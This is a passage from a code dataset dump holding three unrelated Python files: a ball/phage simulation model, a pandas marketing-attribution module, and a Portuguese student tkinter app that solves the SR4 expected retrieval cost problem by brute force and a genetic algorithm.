blackhole import Black_Hole\r\nfrom pulsator import Pulsator\r\nfrom hunter import Hunter\r\nfrom destroyer import Special\r\nfrom bacteria import Bacteria\r\nfrom phage import Phage\r\n\r\n\r\n# Global variables: declare them global in functions that assign to them: e.g., ... = or +=\r\nrunning = False\r\ncycle_count = 0\r\nthings = set()\r\nselected = 'Ball'\r\n\r\n#return a 2-tuple of the width and height of the canvas (defined in the controller)\r\ndef world():\r\n return (controller.the_canvas.winfo_width(),controller.the_canvas.winfo_height())\r\n\r\n#reset all module variables to represent an empty/stopped simulation\r\ndef reset ():\r\n global running,cycle_count,balls,things\r\n running = False\r\n cycle_count = 0\r\n things = set()\r\n\r\n\r\n#start running the simulation\r\ndef start ():\r\n global running\r\n running = True\r\n\r\n\r\n#stop running the simulation (freezing it)\r\ndef stop ():\r\n global running\r\n running = False\r\n\r\n\r\n#step just 1 update in the simulation\r\ndef step ():\r\n global running\r\n running=True\r\n update_all()\r\n display_all()\r\n running=False\r\n\r\n\r\n#remember the kind of object to add to the simulation when an (x,y) coordinate in the canvas\r\n# is clicked next (or remember to remove an object by such a click) \r\ndef select_object(kind):\r\n global selected\r\n selected = str(kind)\r\n\r\n\r\n#add the kind of remembered object to the simulation (or remove any objects that contain the\r\n# clicked (x,y) coordinate\r\ndef mouse_click(x,y):\r\n if selected=='Remove':\r\n to_remove=None\r\n for item in things:\r\n if item.contains((x,y)):\r\n to_remove = item\r\n remove(to_remove)\r\n else:\r\n add(eval(selected+'('+str(x)+','+str(y)+')'))\r\n\r\n\r\n#add simulton s to the simulation\r\ndef add(s):\r\n global things\r\n things.add(s)\r\n \r\n\r\n# remove simulton s from the simulation \r\ndef remove(s):\r\n global things\r\n if s != None:\r\n things.remove(s)\r\n \r\n\r\n#find/return a set of simultons that each satisfy predicate p \r\ndef find(p):\r\n result = set()\r\n for item in things:\r\n if isinstance(item,p):\r\n result.add(item)\r\n return result\r\n\r\n#call update for every simulton in the simulation\r\ndef update_all():\r\n global cycle_count\r\n if running:\r\n cycle_count += 1\r\n for b in things:\r\n b.update(model)\r\n\r\n\r\n#delete from the canvas every simulton in the simulation, and then call display for every\r\n# simulton in the simulation to add it back to the canvas possibly in a new location: to\r\n# animate it; also, update the progress label defined in the controller\r\ndef display_all():\r\n for o in controller.the_canvas.find_all():\r\n controller.the_canvas.delete(o)\r\n \r\n for b in things:\r\n b.display(controller.the_canvas)\r\n \r\n controller.the_progress.config(text=str(len(things))+\" balls/\"+str(cycle_count)+\" cycles\")\r\n\r\ndef random_angle():\r\n # between 0 and 2pi\r\n return random.random()*math.pi*2\r\n\r\n\r\ndef random_color():\r\n # hex(52) -> \"0x34\", so [2:] is the two hex digits, without the 0x prefix\r\n return \"#\"+str(hex(random.randint(20,255)))[2:]+str(hex(random.randint(20,255)))[2:]+str(hex(random.randint(20,255)))[2:]\r\n\r\ndef random_speed():\r\n # Magnitude is 5-10\r\n return random.randint(5,10)\r\n","repo_name":"swandro/phage_simulation","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":3504,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"72671837161","text":"import pandas as pd\nimport numpy as np\nfrom tqdm import tqdm\n\ndef count_source_medium( data, touchpoint, client_session_id ):\n return data.groupby(touchpoint).count()[[client_session_id]] \n\ndef target_reached_probability( data, client_session_id, touchpoint, target):\n '''\n Compute the probability to be last touchpoint before the target\n\n 1) Find unique client_session + touchpoint combinations\n 2) Groups by touchpoint and count the session with target reached\n 3) Compute the target probability\n \n Parameters:\n -----------\n data: dataframe\n client_session_id : unique ids for client session colname\n touchpoint: colname with the touchpoint label\n target: target colname\n \n Returns:\n ---------\n touchpoint_target_prob : dataframe with target probabilities\n '''\n\n #all occurences of all the combinations client/session + touchpoint \n target_combinations = data.drop_duplicates( subset = [ client_session_id, touchpoint ], keep = 'last' ).loc[ data[target] != 0 ][[ client_session_id, touchpoint ]]\n\n base = data.groupby(touchpoint).count()[[client_session_id]]\n has_target = target_combinations.groupby(touchpoint).count()[[client_session_id]]\n\n touchpoint_target_prob = base.merge(has_target, left_index=True, right_index=True, how='left').fillna(0)\n touchpoint_target_prob.columns = ['base','has_target']\n touchpoint_target_prob['prob'] = touchpoint_target_prob['has_target'] / touchpoint_target_prob['base']\n\n return touchpoint_target_prob\n\ndef quit_probability( data, client_session_id, touchpoint, target):\n '''\n Compute the probability to be last touchpoint before quit \n\n 1) Find unique client_session + touchpoint combinations\n 2) Groups by touchpoint and count the session with target not reached\n 3) Compute the target probability\n \n Parameters:\n -----------\n data: dataframe\n client_session_id : unique ids for client session colname\n touchpoint: colname with the touchpoint label\n target: target colname\n \n Returns:\n ---------\n touchpoint_quit_prob : dataframe with quit probabilities\n '''\n\n #all occurences of all the combinations client/session + touchpoint for all the data and only for zero data\n quit_combinations = data.drop_duplicates( subset = [ client_session_id ], keep = 'last' ).loc[ data[target] == 0 ][[ client_session_id, touchpoint ]]\n\n base = data.groupby(touchpoint).count()[[client_session_id]]\n has_quit = quit_combinations.groupby(touchpoint).count()[[client_session_id]]\n\n touchpoint_quit_prob = base.merge(has_quit, left_index=True, right_index=True, how='left').fillna(0)\n touchpoint_quit_prob.columns = ['base','has_quit']\n touchpoint_quit_prob['prob'] = touchpoint_quit_prob['has_quit'] / touchpoint_quit_prob['base']\n\n return touchpoint_quit_prob\n\ndef estimate_transaction_matrix( data, client_id, client_session_id, touchpoint, target, accept_consecutive_touchpoint ):\n '''\n Compute transaction matrix probabilities\n\n Parameters:\n -----------\n data: dataframe\n client_session_id : unique ids for client session colname\n touchpoint: colname with the touchpoint label\n target: target colname\n \n Returns:\n ---------\n prob_transiction : dataframe with transaction probabilities\n count_transiction : dataframe with transaction count\n '''\n\n #remove consecuitve duplicates of the same session in the same touchpoint\n shifted = data.shift(1)\n \n if accept_consecutive_touchpoint:\n client_touchpoint_path = data.copy()\n else:\n client_touchpoint_path = data.loc[ np.logical_or( shifted[client_session_id] != data[client_session_id] , shifted[touchpoint] != data[touchpoint] ) ].reset_index(drop=True)\n \n #detect change in client_id \n #TO READ: here we use only the client id not the client session id. In this way when there are session there is the possiblity to cambe back with the same touchpoint\n # when tere are no session the same user could not move to the same touchpoint \n client_touchpoint_path['is_client_changed'] = client_touchpoint_path[client_id].shift(1, fill_value = client_touchpoint_path[client_id].head(1)) != \\\n client_touchpoint_path[client_id]\n\n change_index = client_touchpoint_path.loc[client_touchpoint_path['is_client_changed']].index\n\n #add none where the client change, to easily remove that line from the count\n partial = pd.DataFrame(None, index= change_index - 0.5)\n partial[touchpoint] = None\n\n touchpoint_state = client_touchpoint_path[[touchpoint]].copy()\n touchpoint_state = touchpoint_state.append(partial).sort_index().reset_index(drop=True)\n\n #create the shift and drop the line with None: they are last status of the user \n touchpoint_state['shift'] = touchpoint_state[touchpoint].shift(-1)\n touchpoint_state['count'] = 1\n touchpoint_state = touchpoint_state.dropna()\n\n #groupby and count the combinations touchpoint-shift\n count_transiction = touchpoint_state.groupby([touchpoint, 'shift']).count().unstack().fillna(0)\n count_transiction.columns = count_transiction.columns.get_level_values(1)\n count_transiction.index.name=None\n count_transiction.columns.name=None\n\n for tp in data[touchpoint].unique().tolist():\n if tp not in count_transiction.columns.tolist():\n count_transiction[tp] = 0\n\n if tp not in count_transiction.index.values:\n count_transiction.loc[tp] = np.zeros(count_transiction.shape[1])\n\n prob_transiction = pd.DataFrame( np.round(count_transiction.values / (count_transiction.sum(axis=1).values[:,None] + 0.000000001) ,4) ,\\\n index = count_transiction.index, columns=count_transiction.columns )\n \n\n return prob_transiction, count_transiction\n\ndef move_probabilities(target_probabilities, quit_probabilitis):\n '''\n Find the probability to move to another touchpoint\n\n Returns:\n -------\n dataframe with the move probabilities\n '''\n return pd.DataFrame( np.round(1 - target_probabilities.prob - quit_probabilitis.prob, 4 ) )\n\ndef expected_target(data, target, touchpoint):\n '''\n Compute the expected target value\n \n Returns:\n --------\n dataframe with the expcted target value conditioned to target > 0\n '''\n return data.loc[ data[target] > 0 ].groupby( touchpoint ).mean()[ [target] ]\n\ndef merge_elements(target_df, quit_df, move_df, xT_df):\n '''\n Create unique df merging the result of target_reached_probability, quit_probability, move_probabilities, expected_target\n\n Returns:\n ----------\n final_df : dataframe\n '''\n\n final_df = target_df[['prob']].merge(quit_df[['prob']], left_index=True, right_index=True)\n final_df = final_df.merge(move_df, left_index=True, right_index=True)\n final_df = final_df.merge(xT_df, left_index=True, right_index=True)\n final_df.columns=['target_prob','quit_prob','move_prob','xT']\n\n return final_df\n\ndef calculate_attribution_values( final_df, prob_transiction, max_iter = 20, epsilon = 0.1 ):\n '''\n Calculate the attribution values and evaluate the convergences of the algorithm.\n The cicle end when max iter is reached or the differences between consecutive state sum is less than epsilon\n\n Parameters:\n ----------\n final_df : dataframe form merge_elments function\n prob_transiction : probabilities transaction matrix from estimate_transaction_matrix\n max_iter : int, max number of cycle\n epsilon: float, minimium differences sum to reach to stop the iteractions\n\n Returns:\n --------\n values_df: dataframe with all the attribution values state\n diff_df: dataframe with the story of differences\n\n '''\n tp_list = final_df.index.tolist()\n values_df = pd.DataFrame( np.zeros(len(tp_list)), index = tp_list, columns = ['v0'])\n diff_df = pd.DataFrame( np.zeros(len(tp_list)), index = tp_list, columns = ['dv0'])\n \n for itr in range(0,max_iter):\n \n values_df['v' + str( itr+1 )] = None\n \n for tp in tp_list:\n values_df.loc[tp, 'v' + str( itr+1 )] = final_df.loc[ tp,'target_prob' ]*final_df.loc[ tp,'xT' ] + \\\n final_df.loc[ tp,'move_prob' ] * np.sum( values_df[ 'v'+ str(itr) ] * prob_transiction.loc[tp][tp_list] )\n \n diff_df['dv'+str(itr)] = values_df[ 'v' + str(itr+1) ] - values_df[ 'v' + str(itr) ] \n\n if diff_df['dv'+str(itr)].sum() < epsilon:\n print('Convergence reached in ' +str(itr)+ ' passes')\n break\n\n return values_df, diff_df\n\n\n ","repo_name":"dandolodavid/iET","sub_path":"iET/iet_functions.py","file_name":"iet_functions.py","file_ext":"py","file_size_in_byte":8623,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"72131249959","text":"############################################################################\r\n# DISCIPLINA: ALGORITMOS E ESTRUTURA DE DADOS #\r\n# PROFESSOR: EDISON ISHIKAWA #\r\n# TRABALHO FINAL: PROBLEMA NP COMPLETO SR4 - CUSTO DE RECUPERAÇÃO ESPERADO #\r\n# EQUIPE 5: GILLIARD MACEDO, LUÍS RIBEIRO E STELLA BONIFÁCIO #\r\n# DATA: 17/09/2021 #\r\n############################################################################\r\n\r\n# !/usr/bin/python\r\n# coding: utf-8\r\n\r\n# Implementando o menu do sistema \"aSR4\" que se trata da \r\n# análise NP-Completo SR4: Custo de Recuperação Esperado\r\n###########\r\n# Imports\r\n###########\r\nimport math\r\nimport random\r\nimport itertools\r\nfrom math import fsum\r\nimport time\r\nimport sys\r\nfrom tkinter import BooleanVar, Text\r\nfrom tkinter.constants import END, FALSE\r\nif sys.version_info[0] < 3:\r\n import Tkinter as tk\r\nelse:\r\n import tkinter as tk\r\nfrom tkinter.ttk import *\r\n\r\n############\r\n# Sistema\r\n############\r\n# Declaração de classes\r\nclass Sistema:\r\n \r\n # Função que representa o encapsulamento da solução do \"Algoritmo Exato\" (SR4-BruteForce.py)\r\n def algoritmoExato(self):\r\n\r\n # Declaração de Funções\r\n def carregaR():\r\n R = list(float(prob) for prob in probabilidades.get().strip().split())\r\n somaProbability = fsum(R)\r\n if somaProbability != 1:\r\n saidasAlgoritmoExatoSomaInvalidaProbabilidades.set(\"A soma das probabilidades deve ser igual a 1\") \r\n self.labelSaidasAlgoritmoExatoSomaInvalidaProbabilidades = Label(janela, textvariable=saidasAlgoritmoExatoSomaInvalidaProbabilidades) \r\n self.labelSaidasAlgoritmoExatoSomaInvalidaProbabilidades.place(x = 40, y = 180) \r\n raise ValueError(\"A soma das probabilidades deve ser igual a 1\")\r\n return R\r\n\r\n def validaIJ (i, j, m):\r\n return j >= 1 and i >= 1 and j <= m and i <= m\r\n\r\n def montaSubconjuntos (R):\r\n lists = []\r\n for length in range(1, len(R) + 1):\r\n for subset in itertools.combinations(R, length):\r\n lists.append(list(subset))\r\n return lists \r\n\r\n def distancia (i, j, m):\r\n if not validaIJ(i, j, m):\r\n saidasAlgoritmoExatoValoresInvalidosIeJ.set(\"Os valores %d e %d para i e j não são válidos\" % (i, j))\r\n self.labelSaidasAlgoritmoExatoValoresInvalidosIeJ = Label(janela, textvariable=saidasAlgoritmoExatoValoresInvalidosIeJ)\r\n self.labelSaidasAlgoritmoExatoValoresInvalidosIeJ.place(x = 40, y = 200)\r\n raise ValueError(\"Os valores %d e %d para i e j não são válidos\" % (i, j))\r\n d = j - i - 1 if (i < j) else m - i + j - 1\r\n return d\r\n\r\n def filtrarSubconjuntosRestantes(subconjuntosTotais, subconjuntoEscolhido):\r\n retorno = []\r\n for sub in subconjuntosTotais:\r\n possuiAlgumItem = False\r\n for item in sub:\r\n if item in subconjuntoEscolhido:\r\n possuiAlgumItem = True\r\n break\r\n if not possuiAlgumItem:\r\n retorno.append(sub)\r\n return retorno\r\n\r\n # Itera os subconjuntos colocando-os nas partições e para cada solução,\r\n # reduz o problema para as partições restantes\r\n def obterCombinacoes(todasCombinacoes, numSetores, solucaoAtual, idxEscolhidos, idxRestantes, cnjRestantes):\r\n # Encontrou solução\r\n if len(solucaoAtual) == numSetores and not cnjRestantes:\r\n todasCombinacoes.append(solucaoAtual)\r\n # Não consegue mais criar soluções a partir desse ponto\r\n elif (len(solucaoAtual) == numSetores and cnjRestantes) or not cnjRestantes:\r\n return\r\n # Prosseguir montando soluçao\r\n else:\r\n for conjuntoAtual in cnjRestantes:\r\n novaSolucao = solucaoAtual.copy()\r\n novaSolucao.append(conjuntoAtual)\r\n novoIdxEscolhidos = indicesJaEscolhidos.copy()\r\n novoIdxEscolhidos.extend(sub)\r\n novoIdxRestantes = list(set(idxRestantes) - set(novoIdxEscolhidos))\r\n novoCnjRestantes = filtrarSubconjuntosRestantes(cnjRestantes, conjuntoAtual)\r\n obterCombinacoes(todasCombinacoes, numSetores, novaSolucao, novoIdxEscolhidos, novoIdxRestantes, novoCnjRestantes)\r\n\r\n def somarProbabilidades(indices, R):\r\n probs = []\r\n for idx in indices:\r\n probs.append(R[idx])\r\n soma = fsum(probs)\r\n return soma \r\n \r\n # Inicio\r\n\t\t# Garantir que a tela não fique poluída com informações de execuções passadas\r\n self.limparLabelsExecucao()\r\n \r\n # Captura a entrada de dados realizada pelo usuário do sistema\r\n m = numTotParticoes.get()\r\n m = int(m) \r\n k = valorReferencia.get()\r\n k = int(k)\r\n R = carregaR()\r\n\r\n start_time = time.time()\r\n\r\n # monta subconjunto com os índices dos elementos de R\r\n listaIndices = [i for i in range(len(R))]\r\n\r\n # Cria todas as combinações possíveis de todos os tamanhos para os índices\r\n subconjuntos = montaSubconjuntos(listaIndices)\r\n\r\n # Dicionario que mapeia os indices aos subconjuntos que o incluem\r\n indiceSubconjuntos = {}\r\n for i in range(len(R)):\r\n indiceSubconjuntos[i] = []\r\n for sub in subconjuntos:\r\n if i in sub:\r\n indiceSubconjuntos[i].append(sub)\r\n\r\n todasCombinacoes = []\r\n solucaoAtual = []\r\n indicesJaEscolhidos = []\r\n indicesRestantes = listaIndices.copy()\r\n subconjuntosRestantes = subconjuntos.copy()\r\n obterCombinacoes(todasCombinacoes, m, solucaoAtual, indicesJaEscolhidos,\r\n indicesRestantes, subconjuntosRestantes)\r\n\r\n self.labelSaidasAlgoritmoExatoPossiveisCombinacoes = Label(janela, text = \"Encontradas %d possíveis combinações \\n\" % len(todasCombinacoes))\r\n self.labelSaidasAlgoritmoExatoPossiveisCombinacoes.place(x = 40, y = 180)\r\n\r\n indicesM = [i for i in range(1, m + 1)]\r\n # Combinacoes simples\r\n possiveisParesEmM = [pair for pair in itertools.combinations(indicesM, 2)]\r\n # Combinações inversas\r\n possiveisParesEmM.extend([(y, x) for (x, y) in possiveisParesEmM])\r\n # Combinaçoes do mesmo indice\r\n possiveisParesEmM.extend([(i, i) for i in indicesM])\r\n\r\n custoLatenciaSolucao = 999999\r\n combinacaoSolucao = None\r\n # Cada uma das combinacoes nesse ponto é uma possivel organizacao dos m\r\n # setores, com m listas contendo os indices dos registros na lista/array\r\n # original de entrada do programa. Por exemplo: [[3, 4], [2], [1], [0]]\r\n # indica que o setor 1 está com os itens de indices 3 e 4 da entrada, ou seja,\r\n # o 4o e o 5o item(por causa dos indices em Python começando de zero)\r\n for combinacao in todasCombinacoes:\r\n custoTotalCombinacao = 0\r\n \r\n # Aqui deve ser verificado o custo de latencia dessa combinacao\r\n # para cada par possivel i e j e acumulado.\r\n for par in possiveisParesEmM:\r\n i = par[0]\r\n j = par[1]\r\n # Subtrair 1 adequa os indices i e j do problema\r\n # aos indices de listas em Python\r\n probI = somarProbabilidades(combinacao[i - 1], R)\r\n probJ = somarProbabilidades(combinacao[j - 1], R)\r\n valorIJ = probI * probJ * distancia(i, j, m)\r\n custoTotalCombinacao += valorIJ\r\n \r\n # Verifica se essa combinacao foi a de menor custo entre todas\r\n if custoTotalCombinacao < custoLatenciaSolucao:\r\n custoLatenciaSolucao = custoTotalCombinacao\r\n combinacaoSolucao = combinacao\r\n\r\n # Registra a execução do algoritmo exato\r\n algoritmoExatoExecutado.set(True)\r\n\r\n # O bloco abaixo é responsável por exibir a respota da execução do algoritmo exato\r\n self.labelSaidasAlgoritmoExatoSolucao = Label(janela, text = \"=== Solução Ótima ===\")\r\n self.labelSaidasAlgoritmoExatoSolucao.place(x = 40, y = 220)\r\n self.labelSaidasAlgoritmoExatoNumRegistros = Label(janela, text = \"Número de registros: %d \" % len(R))\r\n self.labelSaidasAlgoritmoExatoNumRegistros.place(x = 40, y = 240)\r\n self.labelSaidasAlgoritmoExatoDispRegistros = Label(janela, text = \"Disposição dos registros: \")\r\n self.labelSaidasAlgoritmoExatoDispRegistros.place(x = 40, y = 260)\r\n self.labelSaidasAlgoritmoExatoCombSolucao = Label(janela, text = combinacaoSolucao)\r\n self.labelSaidasAlgoritmoExatoCombSolucao.place(x = 175, y = 260)\r\n self.labelSaidasAlgoritmoExatoCustoLatencia = Label(janela, text = \"O custo total de latência dessa solução é %f \" % custoLatenciaSolucao)\r\n self.labelSaidasAlgoritmoExatoCustoLatencia.place(x = 40, y = 280)\r\n if custoLatenciaSolucao <= k:\r\n self.labelSaidasAlgoritmoExatoValorK = Label(janela, text = \"Esse valor é MENOR ou IGUAL a K = %d\" % k)\r\n self.labelSaidasAlgoritmoExatoValorK.place(x = 40, y = 300)\r\n else:\r\n self.labelSaidasAlgoritmoExatoValorK = Label(janela, text = \"Esse valor é MAIOR que K = %d\" % k)\r\n self.labelSaidasAlgoritmoExatoValorK.place(x = 40, y = 300)\r\n self.labelSaidasAlgoritmoExatoTempoExecucao = Label(janela, text = \"Tempo de execução: %s segundos\" % (time.time() - start_time))\r\n self.labelSaidasAlgoritmoExatoTempoExecucao.place(x = 40, y = 320)\r\n \r\n\r\n # Função que representa o encapsulamento da solução do \"Algoritmo Genético Função Fitness Média Esperada\" (SR4-GA-heuristic.py) \r\n # para solução do SR4 utilizando o cálculo exato como teste\r\n def algoritmoGeneticoMediaEsperada(self):\r\n \r\n # Parâmetros\r\n NUM_GERACOES = 50\r\n TAMANHO_POPULACAO = 30\r\n TAMANHO_SELECAO = 6\r\n TAMANHO_CROSSOVER = 24\r\n PROBABILIDADE_MUTACAO = 0.1\r\n NUM_STEPS_MUTACAO_REMANESCENTES = 2\r\n NUM_STEPS_MUTACAO_CROSSOVER = 3\r\n\r\n # População inicial\r\n def populacaoInicial(n, m, tamanhoPop):\r\n populacao = []\r\n for _ in range(tamanhoPop):\r\n individuos = [[0 for i in range(n)] for i in range(m)]\r\n for i in range(n):\r\n individuoComItem = random.choice(individuos)\r\n individuoComItem[i] = 1\r\n populacao.append(individuos)\r\n return populacao\r\n\r\n def carregaR():\r\n R = list(float(prob) for prob in probabilidades.get().strip().split())\r\n somaProbability = math.fsum(R)\r\n if somaProbability != 1:\r\n saidasAlgoritmoGeneticoMediaEsperadaSomaInvalidaProbabilidades.set(\"A soma das probabilidades deve ser igual a 1\") \r\n self.labelSaidasAlgoritmoGeneticoMediaEsperadaSomaInvalidaProbabilidades = Label(janela, textvariable=saidasAlgoritmoGeneticoMediaEsperadaSomaInvalidaProbabilidades) \r\n self.labelSaidasAlgoritmoGeneticoMediaEsperadaSomaInvalidaProbabilidades.place(x = 40, y = 180) \r\n raise ValueError(\"A soma das probabilidades deve ser igual a 1\")\r\n return R\r\n\r\n def somaSetor(setor, R):\r\n probs = []\r\n for i in range(len(setor)):\r\n if setor[i] == 1:\r\n probs.append(R[i])\r\n return math.fsum(probs)\r\n\r\n def erroSetor(setor, R, media):\r\n return abs(somaSetor(setor, R) - media)\r\n \r\n def erroParticao(particao, R, media):\r\n quadradosDosErros = []\r\n for setor in particao:\r\n quadradosDosErros.append(pow(erroSetor(setor, R, media), 2))\r\n somaDosQuadrados = math.fsum(quadradosDosErros)\r\n return math.sqrt(somaDosQuadrados)\r\n\r\n def obterIndicesProxGeracao(scores):\r\n indicesOrdenados = [i for i in range(len(scores))]\r\n indicesOrdenados = sorted(indicesOrdenados, key = lambda idx: scores[idx])\r\n return indicesOrdenados[:TAMANHO_SELECAO]\r\n\r\n def obterParesCrossover(indices):\r\n possiveisPares = [pair for pair in itertools.combinations(indices, 2)]\r\n random.shuffle(possiveisPares)\r\n return possiveisPares[:TAMANHO_CROSSOVER]\r\n\r\n def obterMenorSetorAtual(somasSetores):\r\n return somasSetores.index(min(somasSetores))\r\n \r\n def tratarResultado(particao, R):\r\n valoresPresentes = [0 for i in range(len(R))]\r\n # Remove duplicados\r\n for i in range(len(particao)):\r\n setor = particao[i]\r\n for j in range(len(setor)):\r\n if valoresPresentes[j] == 1 and setor[j] == 1:\r\n setor[j] = 0\r\n elif valoresPresentes[j] == 0 and setor[j] == 1:\r\n valoresPresentes[j] = 1\r\n # Inclui restantes\r\n # Prioriza por item de maior prioridade\r\n indicesRestantes = [index for index, value in enumerate(valoresPresentes) if value == 0]\r\n indicesRestantes = sorted(indicesRestantes, key = lambda idx: R[idx], reverse=True)\r\n for i in indicesRestantes:\r\n # Inclui no menor conjunto\r\n probabilidades = printProbabilidades(particao, R)\r\n somasSetores = [math.fsum(probabilidades[i]) for i in range(len(probabilidades))]\r\n menorSetor = obterMenorSetorAtual(somasSetores)\r\n particao[menorSetor][i] = 1 \r\n \r\n def crossover(particaoI, particaoJ, R, media):\r\n scoresI = [erroSetor(particaoI[i], R, media) for i in range(len(particaoI))]\r\n scoresJ = [erroSetor(particaoJ[j], R, media) for j in range(len(particaoJ))]\r\n indicesOrdenadosI = [i for i in range(len(scoresI))]\r\n indicesOrdenadosI = sorted(indicesOrdenadosI, key = lambda idx: scoresI[idx])\r\n indicesOrdenadosJ = [i for i in range(len(scoresJ))]\r\n indicesOrdenadosJ = sorted(indicesOrdenadosJ, key = lambda idx: scoresJ[idx])\r\n idxI = 0\r\n idxJ = 0\r\n totalSetores = 0\r\n resultadoCrossover = []\r\n while totalSetores < len(scoresI):\r\n if idxI == len(scoresI):\r\n if particaoJ[indicesOrdenadosJ[idxJ]] not in resultadoCrossover:\r\n resultadoCrossover.append(particaoJ[indicesOrdenadosJ[idxJ]][:])\r\n else:\r\n resultadoCrossover.append([0 for i in range(len(R))])\r\n totalSetores = totalSetores + 1\r\n continue\r\n elif idxJ == len(scoresJ):\r\n if particaoI[indicesOrdenadosI[idxI]] not in resultadoCrossover:\r\n resultadoCrossover.append(particaoI[indicesOrdenadosI[idxI]][:])\r\n else:\r\n resultadoCrossover.append([0 for i in range(len(R))])\r\n totalSetores = totalSetores + 1\r\n continue\r\n if scoresI[indicesOrdenadosI[idxI]] <= scoresJ[indicesOrdenadosJ[idxJ]]:\r\n if particaoI[indicesOrdenadosI[idxI]] not in resultadoCrossover:\r\n resultadoCrossover.append(particaoI[indicesOrdenadosI[idxI]][:])\r\n totalSetores = totalSetores + 1\r\n idxI = idxI + 1\r\n else:\r\n if particaoJ[indicesOrdenadosJ[idxJ]] not in resultadoCrossover:\r\n resultadoCrossover.append(particaoJ[indicesOrdenadosJ[idxJ]][:])\r\n totalSetores = totalSetores + 1\r\n idxJ = idxJ + 1\r\n tratarResultado(resultadoCrossover, R)\r\n return resultadoCrossover[:]\r\n\r\n def mutacao(particao, probabilidade, numSteps):\r\n for i in range(numSteps):\r\n if random.random() <= probabilidade:\r\n setorModificado = random.choice(particao)\r\n idxModificado = random.randrange(0, len(setorModificado))\r\n if setorModificado[idxModificado] == 0:\r\n # troca de 0 pra 1 depois de retirar o 1 do setor que originalmente possuia o registro\r\n for setor in particao:\r\n if setor[idxModificado] == 1:\r\n setor[idxModificado] = 0\r\n setorModificado[idxModificado] = 1\r\n else:\r\n # troca de 1 pra 0 e depois atribui o registro a outro setor\r\n setorModificado[idxModificado] = 0\r\n novoSetor = random.choice(particao)\r\n novoSetor[idxModificado] = 1 \r\n\r\n def printProbabilidades(solucao, R):\r\n setores = []\r\n for setorSolucao in solucao:\r\n setores.append([R[index] for index, value in enumerate(setorSolucao) if value == 1])\r\n return setores\r\n \r\n def solucaoPrintavel(solucao):\r\n setores = []\r\n for setorSolucao in solucao:\r\n setores.append([index for index, value in enumerate(setorSolucao) if value == 1])\r\n return setores\r\n\r\n def distancia (i, j, m):\r\n return j - i - 1 if (i < j) else m - i + j - 1\r\n\r\n def somarProbabilidades(indices, R):\r\n probs = []\r\n for idx in indices:\r\n probs.append(R[idx])\r\n soma = math.fsum(probs)\r\n return soma\r\n\r\n def calcularCustoLatencia(R, m, solucao):\r\n indicesM = [i for i in range(1, m + 1)]\r\n # Combinacoes simples\r\n possiveisParesEmM = [pair for pair in itertools.combinations(indicesM, 2)]\r\n # Combinações inversas\r\n possiveisParesEmM.extend([(y, x) for (x, y) in possiveisParesEmM])\r\n # Combinaçoes do mesmo indice\r\n possiveisParesEmM.extend([(i, i) for i in indicesM])\r\n custoTotalCombinacao = 0\r\n # Aqui deve ser verificado o custo de latencia dessa combinacao\r\n # para cada par possivel i e j e acumulado.\r\n for par in possiveisParesEmM:\r\n i = par[0]\r\n j = par[1]\r\n # Subtrair 1 adequa os indices i e j do problema\r\n # aos indices de listas em Python\r\n probI = somarProbabilidades(solucao[i - 1], R)\r\n probJ = somarProbabilidades(solucao[j - 1], R)\r\n valorIJ = probI * probJ * distancia(i, j, m)\r\n custoTotalCombinacao += valorIJ\r\n return custoTotalCombinacao \r\n\r\n # Início\r\n # Garantir que a tela não fique poluída com informações de execuções passadas\r\n self.limparLabelsExecucao()\r\n\r\n # Captura a entrada de dados realizada pelo usuário do sistema\r\n m = numTotParticoes.get()\r\n m = int(m) \r\n k = valorReferencia.get()\r\n k = int(k)\r\n R = carregaR()\r\n\r\n start_time = time.time()\r\n\r\n media = 1 / m\r\n\r\n populacao = populacaoInicial(len(R), m, TAMANHO_POPULACAO)\r\n\r\n for geracao in range(NUM_GERACOES):\r\n scores = [erroParticao(populacao[i], R, media) for i in range(len(populacao))]\r\n indicesOrdenados = obterIndicesProxGeracao(scores)\r\n novaPopulacao = [populacao[i][:] for i in indicesOrdenados]\r\n for solucao in novaPopulacao:\r\n mutacao(solucao, PROBABILIDADE_MUTACAO, NUM_STEPS_MUTACAO_REMANESCENTES)\r\n paresCrossover = obterParesCrossover(indicesOrdenados)\r\n for par in paresCrossover:\r\n i = par[0]\r\n j = par[1]\r\n novoIndividuo = crossover(populacao[i][:], populacao[j][:], R, media)\r\n mutacao(novoIndividuo, PROBABILIDADE_MUTACAO, NUM_STEPS_MUTACAO_CROSSOVER)\r\n novaPopulacao.append(novoIndividuo)\r\n populacao = novaPopulacao[:]\r\n\r\n scores = [erroParticao(populacao[i], R, media) for i in range(len(populacao))]\r\n idxSolucao = scores.index(min(scores))\r\n individuo = populacao[idxSolucao]\r\n solucao = solucaoPrintavel(individuo)\r\n custoLatenciaSolucao = calcularCustoLatencia(R, m, solucao)\r\n\r\n # Registra a execução do algoritmo genetico função fitness média esperada\r\n algoritmoGeneticoMediaEsperadaExecutado.set(True)\r\n\r\n # O bloco abaixo é responsável por exibir a resposta da execução do algoritmo genetico função fitness média esperada\r\n self.labelSaidasAlgoritmoGeneticoMediaEsperadaSolucao = Label(janela, text = \"=== Solução Aproximada com Função Fitness Média Esperada ===\")\r\n self.labelSaidasAlgoritmoGeneticoMediaEsperadaSolucao.place(x = 40, y = 220)\r\n self.labelSaidasAlgoritmoGeneticoMediaEsperadaNumRegistros = Label(janela, text = \"Número de registros: %d \" % len(R))\r\n self.labelSaidasAlgoritmoGeneticoMediaEsperadaNumRegistros.place(x = 40, y = 240)\r\n self.labelSaidasAlgoritmoGeneticoMediaEsperadaDispRegistros = Label(janela, text = \"Disposição dos registros: \")\r\n self.labelSaidasAlgoritmoGeneticoMediaEsperadaDispRegistros.place(x = 40, y = 260)\r\n self.labelSaidasAlgoritmoGeneticoMediaEsperadaCombSolucao = Label(janela, text = solucao)\r\n self.labelSaidasAlgoritmoGeneticoMediaEsperadaCombSolucao.place(x = 175, y = 260)\r\n self.labelSaidasAlgoritmoGeneticoMediaEsperadaCustoLatencia = Label(janela, text = \"O custo total de latência dessa solução é %f \" % custoLatenciaSolucao)\r\n self.labelSaidasAlgoritmoGeneticoMediaEsperadaCustoLatencia.place(x = 40, y = 280)\r\n if custoLatenciaSolucao <= k:\r\n self.labelSaidasAlgoritmoGeneticoMediaEsperadaValorK = Label(janela, text = \"Esse valor é MENOR ou IGUAL a K = %d\" % k)\r\n 